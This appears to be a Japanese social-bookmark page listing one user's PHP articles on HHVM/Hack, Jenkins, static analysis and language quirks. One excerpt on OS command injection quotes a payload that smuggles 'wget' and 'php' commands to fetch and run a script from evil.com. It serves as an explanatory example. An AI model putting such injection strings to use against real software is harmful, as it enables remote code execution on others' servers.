タグ

phpに関するjoan9のブックマーク (248)

  • New community features for Google Chat and an update on Currents

    Join the official community for Google Workspace administrators In the Google Cloud Community, connect with Googlers and other Google Workspace admins like yourself. Participate in product discussions, check out the Community Articles, and learn tips and tricks that will make your work and life easier. Be the first to know what's happening with Google Workspace. ______________ Learn about more Goo

    New community features for Google Chat and an update on Currents
    joan9
    joan9 2015/05/01
  • calling method of object of object with call_user_func

    joan9
    joan9 2015/04/08
  • PHPカンファレンス2014でHHVM/Hackの話を聞いて感動した - As a Futurist...

    使える言語の幅を広げたいと思ってPHP カンファレンス 2014に参加してきました。徳丸さんの「安全な PHP アプリケーションの作り方 2014」は改めて自分のセキュリティの知識を確かめるのに大変有意義だったのですが、何より感動したのが Facebook の Paul Tarjan による「HHVM + Hack == PHP++」のセッションでした。 すごく簡単に僕が理解した限りで HHVM/Hack を紹介すると、HHVM とは PHP の処理系の一つの実装です。その特徴は JIT コンパイルにより超高速になっていることに加え、圧倒的な魅力は PHP の Extension(C 拡張ライブラリ)の多くが実装されていて PHP のメジャーなフレームワークが問題なく動作するということです。つまりもう実践で戦えるということ。そして、Hack というのは HHVM が処理できるもう一つの言語

    PHPカンファレンス2014でHHVM/Hackの話を聞いて感動した - As a Futurist...
  • PHP コードのコーディング規約をチェックすることにした (composer/phing/PHP_CodeSniffer) - Hack like a rolling stone

    Web をぶらぶらしていたら PHP のコーディング規約として PSR(Proposing a Standards Recommendation) という規約があることに気づきました。 今開発しているプロジェクトに PSR のチェックを書けるためにあれこれしたのものをメモします。 まずは composer をインストールする 現在のプロジェクトでは chef を使って PHP パッケージをインストールしているのですが、 もうちょっと管理しやすいよう composer を使って依存パッケージを入れなおします。 composer は Bundler 相当のツールで、プロジェクトディレクトリに依存パッケージをインストールしてくれます。 composer のインストールは以下のコマンドを使います。 $ curl -sS https://getcomposer.org/installer | php

    PHP コードのコーディング規約をチェックすることにした (composer/phing/PHP_CodeSniffer) - Hack like a rolling stone
    joan9
    joan9 2014/07/01
    PSRチェックツール
  • Faster php lint target for jenkins php

  • Advent Calendar 20日目 Jenkins の PHP コードカバレッジ推移グラフ - do_aki's log

    以前(11月の末頃)書いてて中途半端になってた記事を手直しして放出。 Jenkins での PHP コードカバレッジ推移グラフの表示について。 Jenkins by Kanon jenkins でテストの自動化をしています。 [twitter:@yamashiro] さんの記事 (PHPでTDD&CIワークショップ、Jenkins + PHP の各種プラグインパート資料 - Yamashiro0217の日記) を参考にしましたが、インストールは Kanon (http://kanon.ultimania.org/trac/kanon) を利用しました。(当は trac も効果的に使いたいと思っているのですが。。。) pmd 警告や、コード重複警告はたくさんでているのですが、当初はテストがほとんどない状態でしたので、まずはカバレッジ6割程度を目標にテストを増やしています。 もちろん、カバレ

    Advent Calendar 20日目 Jenkins の PHP コードカバレッジ推移グラフ - do_aki's log
  • PHPの開発環境を構築する(その5): PHPMDを試す | 悠雀堂

    PHPの開発環境を構築する」シリーズの第5回です。今回は、オープンソースでPHP用の静的解析ツールである、PHPMDを試してみます。PHPMDによる使われていない変数の警告によって、変数名のタイプミスが発見できそうです。 順番を入れ替え、最初にPHPMDの試用レビューをし、その後でインストールをレポートします。 はじめに PHPは、柔軟で便利なツールもそろっている、プログラミングがしやすい言語です。 しかし一点、変数が無宣言で使えるので、タイプミスによる欠陥を作りこみやすいです。またインタプリタ型なので実行してみないと欠陥がわかりません。 そこで静的解析ツールを試してみようと思いました。 PHPMDはオープンソースの静的解析ツールです。PMDというJavaのツールがもとになっているようです。(Javaプログラミングの予定はありません。しかしPMDはJavascriptの解析もできるよう

    PHPの開発環境を構築する(その5): PHPMDを試す | 悠雀堂
  • PHPerのためのJenkins

    序文 ソフトウェア開発とはままならないものだ。そもそも開発と銘を打たれているにも関らず製造工程のような量的単位「工数」で管理しようとしているので致し方無いのかも知れない。そう、開発と言うからには「作ったことの無いものを作る」ということであるにも関わらず、 ・「何人がかりで何日で出来る?」と聞く ・「何日くらいですかね、やってみないと分からないけれど」と答える ・「分からないけれど」はとりあえず無視して、何日かの余分をとってスケジュールを作る そんなことをしていれば古典落語に出てくる「致し方ないけれど起こる残念な出来事」のようなオチにしかならないのは目に見えているのだが、これは現実によく有るやりとりである。しかし、これでもまだマシな部分も有る。少くとも作ろうとしてとしている人が「何日で出来そうか?」について答えているからだ。作ろうとしている人ではない人が当てずっぽうに答えてスケジュールが決ま

  • PHPプリミティブ型(int,string,array...)にメソッドを生やそう - Qiita

    PHP extension が導入できる環境(Webサーバ管理権限等)が必要です できること JavaScript のプロトタイプ拡張や C# の拡張メソッドのように、string や array など、PHP のプリミティブ型にメソッドを 自由に追加 することができます。 // 単なる文字列 $str = "foo bar hoge"; // 文字列を空白で分割して配列に... // 条件で絞り込みつつ要素数を取得 echo $str ->split(' ') ->filter(function($x) { return $x->contains('o'); }) ->length(); // ... 2

    PHPプリミティブ型(int,string,array...)にメソッドを生やそう - Qiita
    joan9
    joan9 2014/05/07
  • 【独断と偏見】C#erでも許せるかも知れないフルスタックPHP - Qiita

    なにかと dis られる言語 PHP ですが、dis られる要因としては 利用者が多い(少なければそもそも話題にならない) 言語自体に開発者を導くコンパスがない 結果的に負の遺産が多く築かれる ということがあると考えています。 PHP をうまく使ってご飯をべている身としていくら dis られようと何ら弊害はないのですが、PHP は OSS で安定性・拡張性・言語自体の開発の活発さを保っておりコミュニティもとても活発な言語なので、今回は「PHP を使うとしたらこうやるといいよ」という方向性で書いてみようと思います。 あくまで個人の主観に基づいた記事です。ご了承下さい。 あくまでウェブアプリケーションを開発することを想定しています。 (それ以外の用途があるとは思いませんが) その前に、なぜ PHP を使うのか PHP は書けば動くから簡単だよ という罠 この言葉を耳にしたのは専門学校時代です

    【独断と偏見】C#erでも許せるかも知れないフルスタックPHP - Qiita
  • PHPのescapeshellcmdの危険性 - 徳丸浩の日記

    補足 この記事は旧徳丸浩の日記からの転載です(元URL、アーカイブはてなブックマーク1、はてなブックマーク2)。 備忘のため転載いたしますが、この記事は2011年1月1日に公開されたもので、当時の徳丸の考えを示すものを、基的に内容を変更せずにそのまま転載するものです。 補足終わり を書いています。初稿を一通り書き上げ、第2稿を作成中です。その過程で見つけたことを報告します。 PHPのescapeshellcmdはパラメータをクォートしないので呼び出し側でクォートする必要がありますが、escapeshellcmdの仕様がまずいために、呼び出し側でクォートしても突破できることが分かりました。 escapeshellcmdの仕様 PHPにはシェルのパラメータをエスケープする関数が2つあります。escapeshellargとescapeshellcmdです。escapeshellargは、エ

  • PHPだってシェル経由でないコマンド呼び出し機能が欲しい

    このエントリはPHP Advent Calendar 2013 in Adventar の21日目です。 OSコマンドインジェクションとは OSコマンドインジェクションという脆弱性があります。PHPから外部コマンドを呼んでいる場合に、意図したコマンドとは別のコマンドを外部から指定され、実行されてしまうものです。 下記のように、myprog をパラメータ指定で起動している場合で説明します。$paramはファイル名やメールアドレスなどを想定しています。 $param = $_GET['param']; system("myprog $param"); $paramとして ; wget http://evil.com/bad.php ; php bad.php  を指定されると、system関数で実行するコマンドは下記となります。 myprog ; wget http://evil.com/ba

  • FacebookがPHP互換のプログラミング言語「Hack」を公開 | スラド IT

    Facebookは3月20日、PHPをベースに静的な型付けといった機能を組み込んだ新たなプログラミング言語「Hack」をオープンソースで公開した(公式サイト、SourceForge.jp Magazine、@IT、マイナビニュース、slashdot)。 Hackは、同社が開発したPHP用JITコンパイラHHVM (HipHop Virtual Machine) 向けのプログラミング言語で、PHPをベースに静的な型付けを加えたうえで、ジェネリクス、Nullable型、型エイリアス化、型安全な配列、ラムダ表現といった機能を盛り込んでいる。非推奨機能などは取り除かれているものの、PHPとは高い互換性があるとのことで、PHPコードの多くはそのままHackコードとして利用できるという。実際に同社ではこの1年で殆どのPHPコードがHackにマイグレーションされたとのこと。 「動的な型付け言語がもたらす

    joan9
    joan9 2014/04/11
    へえ> Hack 開発陣のマネージャは、Real World Haskell [realworldhaskell.org]著者の Bryan O'Sullivan さんのようですね。
  • 新言語Hackで最強PHPerになろう! - Qiita

    新言語 Hack とは こんにちは、新言語 Hack が Facebook より OSS としてリリースされましたね。 詳細は以下の通り。 https://code.facebook.com/posts/264544830379293/hack-a-new-programming-language-for-hhvm/ 新言語 Hack は HHVM 向けの開発言語で静的型付き言語の性質を取り入れ PHP での素早い開発を実施し、PHPとの互換性があります http://hacklang.org/ http://hhvm.com/ HHVM (HipHop Virtual Machine for PHP) とは、Facebook が OSS で開発している PHP 用の JIT コンパイラです。 HHVM は PHP のコードをダイナミックにバイナリコードへと変換することで高速実行の実現を目

    新言語Hackで最強PHPerになろう! - Qiita
    joan9
    joan9 2014/03/24
    なかなか良さそう
  • PsySH

    Stop die()ing all the time PsySH can be used as an interactive debugger, much like JavaScript's debugger statement, saving you from endless var_dump() and die() iterations. Just drop this line in where you'd like to have a breakpoint: eval(\Psy\sh()); Auto[tab][tab]Complete PsySH has tab completion for variable names, functions, classes, methods, properties, and even files! Just start typing, then

    joan9
    joan9 2014/02/28
  • 最近のPHPが割と良くてびっくりした - 標高+1m

    Disるのに忙しくて最近のPHP(5.4以降)のこと全然知りませんでした。 今日触る機会があったんですが見直しちゃいました。変なフレームワークさえ使わなければjsとかrubyよりまともに書ける気がする。 びっくりした点、良い点 タイプヒント。 型が合わなければこけてくれる。スカラー型も使えればもっと良かった 例外。PEARのライブラリも例外吐くようになってた。便利 なんか配列の書き方かっこよくなってる ネームスペース。嬉しい! クロージャのuse。明示的に外の変数を指定するのがとても良い。デフォルトが値渡しなのと併せて、命令的に書くには一手間かかるようになって、関数型っぽく書きやすくなる array_*系の充実した高階関数がクロージャが入って使いやすくなった。 "PHP 5はオブジェクト指向言語ではありません" Rocks!!!! これは昔からだけど、オブジェクト以外はデフォルトが値渡しな

    最近のPHPが割と良くてびっくりした - 標高+1m
    joan9
    joan9 2014/01/21
  • サーバーサイドMVC - 標高+1m

    まずクラスは使わない。なぜなら必要ないから。せっかくモジュラーな関数をわざわざそうじゃなくする意味がない。クラスはレアケースを除いて基的には悪。 モデルはRead系のAPIとWrite系のAPIで名前空間を分ける。 <?php /* Articles.php */ namespace Articles\Write; function mkArticle ($title, $text, $tags) { /*バリデーションとかして連想配列を作って返す*/ } function addArticle ($article) {/*DBに保存*/} namespace Articles\Read; function getArticles ($filter=null) {/*DBから読み出し*/} function getArticle ($id) {} ビューはモデルのRead系APIを直接見

    サーバーサイドMVC - 標高+1m
    joan9
    joan9 2014/01/21
  • PHPが糞言語なのはどう考えても参照をポインタだと思っているお前らが悪い - なんたらノート第三期ベータ

    この投稿はPHP Advent Calendar 2013の12日目の記事です。 PHP恒例行事の参照と三項演算子のdisりですが、そろそろあさってな議論はやめませんかという話です。 今年のPHP-dis大賞といえばこちら。 PHPとかいう糞言語|いんまのブログ ※ 追記: これ書かれたのは2012年でしたすんません。 なんで君たちそんなコードが必要なのかね、と。結論から先言うと、きみたちがPHPが使えないって思うのは、そんな挙動に左右されるようなコードを書くからでしょ、だからCとかRubyとかそういう簡単な言語でわかった気になっている初心者はまったくもう...というわけでPHPの言語文法の基礎んとこ、いきますね。 まず、PHPのarrayは「値」です。もちろん文字列も「値」です。値は値なんだけど、それはミュータブルです。PHPのarrayもしくは文字列の代入は、一見すると、ポインタを使わ

    PHPが糞言語なのはどう考えても参照をポインタだと思っているお前らが悪い - なんたらノート第三期ベータ
    joan9
    joan9 2013/12/25
  • すごく簡単なアルゴリズムがphpで書けなくてつらい - Qiita

    ある条件でソートされているIDのリストを与えられて、なんとなく近い範囲でマッチングさせたいという要件があった。配列からの任意の要素の取り出しは O(n) だけど、末尾や末尾から固定した範囲の要素に限って言えば O(1) なので、後ろの方からマッチングさせながら要素を取り出していけば O(n) でマッチングできるはず。 なんにも難しいことは無い話で、 Python で書けばこうなる。 list.pop() が末尾からのインデックス (-1 が最後の要素を表す) を許すのが地味に便利だ。 # coding: utf-8 def match(seq, r=100): from random import randint # 奇数個の時に先頭周辺の要素がボッチになるのが嫌なら、先に後ろの方の # 要素を取り除いて偶数にしておくこと. while len(seq) >= 2: # 引数を省略すると末

    すごく簡単なアルゴリズムがphpで書けなくてつらい - Qiita
  • PHPでは配列ではなくオブジェクトに状態を持たせよ - なんたらノート第三期ベータ

    アドベントカレンダーを書いたらコメントに面白い課題もらいました。 「Python - すごく簡単なアルゴリズムがphpで書けなくてつらい」のやつ。 id:methane php の array と参照の関係がクソで無いなら、 http://qiita.com/methane/items/41e1376c41d8c15e8894 これを普通に書いてみてください。 id:tanakahisateru 面白そう。やりましょう。 最近ずいぶんPHP成分多めですが、実はPythonも好物なのでホクホクです。 といっても、あのエントリーは「php の array と参照の関係がクソで無い」とは言ってなくて、むしろ逆にそこは腐ってるから避けろ、オブジェクトで囲んでやれ、という話だったので...(^^ そのままやってもPythonの性能にはならないとわかっているので、配列を直接使うのはイヤです。なので、オ

    PHPでは配列ではなくオブジェクトに状態を持たせよ - なんたらノート第三期ベータ